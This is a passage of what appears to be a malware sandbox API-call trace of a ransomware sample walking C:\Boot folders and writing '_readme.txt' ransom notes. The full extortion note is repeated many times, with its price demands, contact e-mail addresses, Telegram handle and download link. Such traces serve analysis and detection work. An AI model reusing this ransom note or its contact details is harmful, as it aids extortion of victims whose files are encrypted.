have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.833] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.833] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.833] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0119.833] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.835] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.835] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.835] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.835] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0119.835] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.835] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.835] PathFindFileNameW (pszPath="") returned="" [0119.835] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.835] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.835] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.835] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.835] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0119.836] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0119.836] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.836] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.836] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.836] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.836] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0119.836] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.836] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.836] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.836] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.837] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0119.837] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.837] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.837] PathFindFileNameW (pszPath="") returned="" [0119.837] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.837] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.837] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.837] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.837] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0119.837] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0119.837] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.837] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.838] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.838] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.838] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0119.838] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.838] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0119.838] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.838] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.838] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.838] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.838] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0119.838] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.839] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.839] PathFindFileNameW (pszPath="") returned="" [0119.839] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.839] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.839] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.839] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.839] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0119.839] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0119.839] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.839] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you 